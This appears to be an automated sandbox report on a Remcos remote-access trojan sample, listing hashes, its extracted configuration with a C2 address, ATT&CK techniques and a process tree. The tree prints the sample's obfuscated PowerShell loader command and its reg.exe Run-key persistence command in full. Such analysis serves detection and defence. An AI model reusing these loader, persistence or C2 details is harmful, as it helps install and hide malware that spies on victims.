remcos | d7cf40360b1dd35e6a20b8639f0fe9cc918157de07ff248983db6f0ee1472dbb

General

Target

d7cf40360b1dd35e6a20b8639f0fe9cc918157de07ff248983db6f0ee1472dbb.exe
Size

636KB
MD5

c1c571c4f8f69d3c8aa0ec091173bd5e
SHA1

a36ac174f8ee2ed2254f69a21799837af58071f2
SHA256

d7cf40360b1dd35e6a20b8639f0fe9cc918157de07ff248983db6f0ee1472dbb
SHA512

08b540ab5ebb986cc43add736aee38d11a5f0da5252384bb30c7ca7f7b464e63debab4cec5a3dd122e3280f26e57e5ac8adc171e237a681d0e95239bddc11a1d
SSDEEP

12288:5rRo7TKXllTfhmiKdHEHPSXbOp/NoJnYRlXO3iBM4ILaa+Brt:JC7TKXlFfsiMEHPSq8YfMiBMh+ht

Score

10^/10

remcos remotehost discovery execution persistence rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

45.95.169.18:2404

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-HP1D61
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Loads dropped DLL 1 IoCs

pid	Process
2876	d7cf40360b1dd35e6a20b8639f0fe9cc918157de07ff248983db6f0ee1472dbb.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Windows\CurrentVersion\Run\Startup key = "%Risikofriestes% -windowstyle minimized $Follikler=(Get-ItemProperty -Path 'HKCU:\\Reattach237\\').Kkkenredskab;%Risikofriestes% ($Follikler)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
3004	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
852	powershell.exe
3004	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 852 set thread context of 3004	852	powershell.exe	32

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Detrainment90\strenuosity.pot	d7cf40360b1dd35e6a20b8639f0fe9cc918157de07ff248983db6f0ee1472dbb.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
852	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	d7cf40360b1dd35e6a20b8639f0fe9cc918157de07ff248983db6f0ee1472dbb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2480	reg.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
852	powershell.exe
852	powershell.exe
852	powershell.exe
852	powershell.exe
852	powershell.exe
852	powershell.exe
852	powershell.exe
852	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
852	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	852	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2876 wrote to memory of 852	2876	d7cf40360b1dd35e6a20b8639f0fe9cc918157de07ff248983db6f0ee1472dbb.exe	29
PID 2876 wrote to memory of 852	2876	d7cf40360b1dd35e6a20b8639f0fe9cc918157de07ff248983db6f0ee1472dbb.exe	29
PID 2876 wrote to memory of 852	2876	d7cf40360b1dd35e6a20b8639f0fe9cc918157de07ff248983db6f0ee1472dbb.exe	29
PID 2876 wrote to memory of 852	2876	d7cf40360b1dd35e6a20b8639f0fe9cc918157de07ff248983db6f0ee1472dbb.exe	29
PID 852 wrote to memory of 3004	852	powershell.exe	32
PID 852 wrote to memory of 3004	852	powershell.exe	32
PID 852 wrote to memory of 3004	852	powershell.exe	32
PID 852 wrote to memory of 3004	852	powershell.exe	32
PID 852 wrote to memory of 3004	852	powershell.exe	32
PID 852 wrote to memory of 3004	852	powershell.exe	32
PID 3004 wrote to memory of 2052	3004	wab.exe	33
PID 3004 wrote to memory of 2052	3004	wab.exe	33
PID 3004 wrote to memory of 2052	3004	wab.exe	33
PID 3004 wrote to memory of 2052	3004	wab.exe	33
PID 2052 wrote to memory of 2480	2052	cmd.exe	35
PID 2052 wrote to memory of 2480	2052	cmd.exe	35
PID 2052 wrote to memory of 2480	2052	cmd.exe	35
PID 2052 wrote to memory of 2480	2052	cmd.exe	35

C:\Users\Admin\AppData\Local\Temp\d7cf40360b1dd35e6a20b8639f0fe9cc918157de07ff248983db6f0ee1472dbb.exe
"C:\Users\Admin\AppData\Local\Temp\d7cf40360b1dd35e6a20b8639f0fe9cc918157de07ff248983db6f0ee1472dbb.exe"
1⤵
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2876
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle minimized " $Fretum=Get-Content 'C:\Users\Admin\AppData\Local\Vandskellenes\Tramp\drejebnksvrktjets\Ravelproof29\Wabeno.phy';$Llebrdsbarmhjertighedens42=$Fretum.SubString(56238,3);.$Llebrdsbarmhjertighedens42($Fretum)"
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:852
- - C:\Program Files (x86)\windows mail\wab.exe
    "C:\Program Files (x86)\windows mail\wab.exe"
    3⤵
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3004
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Risikofriestes% -windowstyle minimized $Follikler=(Get-ItemProperty -Path 'HKCU:\Reattach237\').Kkkenredskab;%Risikofriestes% ($Follikler)"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2052
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Risikofriestes% -windowstyle minimized $Follikler=(Get-ItemProperty -Path 'HKCU:\Reattach237\').Kkkenredskab;%Risikofriestes% ($Follikler)"
        5⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:2480

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Vandskellenes\Tramp\drejebnksvrktjets\Ravelproof29\Stenotypistens.Udk

Filesize
364KB

MD5
4f7bc22100b0ce9f5392bb0b43ab22c9

SHA1
322f410d7c94a5f400656e1c49b5d4cef6dde8f2

SHA256
67e85d9212594f2e8be65a3a6a3c8625ca5efe8070050c390e918bcd1da16f3a

SHA512
dfc1ba12d84c489d6f6417c1c2f775ba107076b48f2f57b0a565070a88f91334187734463f895b17de46acb620347a1fc36c1deef55969942cf4663de48a347b

Download Submit
C:\Users\Admin\AppData\Local\Vandskellenes\Tramp\drejebnksvrktjets\Ravelproof29\Wabeno.phy

Filesize
54KB

MD5
4bb55c98fcfab7c0706cf43af638c89e

SHA1
58f5ec920e25fa95c47a826e34736d1159232efd

SHA256
fafe02f6852b01802bbfe61fe7bb3de41e3d32dfd7b7054e8da7774cecbb3d8d

SHA512
591fb17f2d78e25ef91eeb48d8fee5d09de00e553fa0710c28c84f3f1bc657cc8b4d2a4f6e982e4409d8e3450f60d13e6dbce473d33b3fab3d0eed3b489e5e27

Download Submit
\Users\Admin\AppData\Local\Temp\nsz9F0E.tmp\nsDialogs.dll

Filesize
9KB

MD5
eb2c74e05b30b29887b3219f4ea3fdab

SHA1
91173d46b34e7bae57acabdbd239111b5bcc4d9e

SHA256
d253ca5aba34b925796777893f114cc741b015af7868022ab1db2341288c55ed

SHA512
1bb035260223ec585170f891c2624b9ae98671f225e74b913b40bb77b66e3b9c2016037bc8e4b0ae16367d82590a60a0a3bd95d05139ea2454f02020d1b54dae

Download Submit
memory/852-15-0x0000000073FE0000-0x000000007458B000-memory.dmp

Filesize
5.7MB

Download
memory/852-16-0x0000000073FE0000-0x000000007458B000-memory.dmp

Filesize
5.7MB

Download
memory/852-17-0x0000000073FE0000-0x000000007458B000-memory.dmp

Filesize
5.7MB

Download
memory/852-14-0x0000000073FE0000-0x000000007458B000-memory.dmp

Filesize
5.7MB

Download
memory/852-20-0x0000000073FE0000-0x000000007458B000-memory.dmp

Filesize
5.7MB

Download
memory/852-13-0x0000000073FE1000-0x0000000073FE2000-memory.dmp

Filesize
4KB

Download
memory/852-22-0x0000000073FE0000-0x000000007458B000-memory.dmp

Filesize
5.7MB

Download
memory/852-23-0x00000000068F0000-0x000000000AB2F000-memory.dmp

Filesize
66.2MB

Download
memory/852-24-0x0000000073FE0000-0x000000007458B000-memory.dmp

Filesize
5.7MB

Download
memory/3004-25-0x0000000000A70000-0x0000000001AD2000-memory.dmp

Filesize
16.4MB

Download
memory/3004-26-0x0000000000A70000-0x0000000001AD2000-memory.dmp

Filesize
16.4MB

Download
memory/3004-31-0x0000000000A70000-0x0000000001AD2000-memory.dmp

Filesize
16.4MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads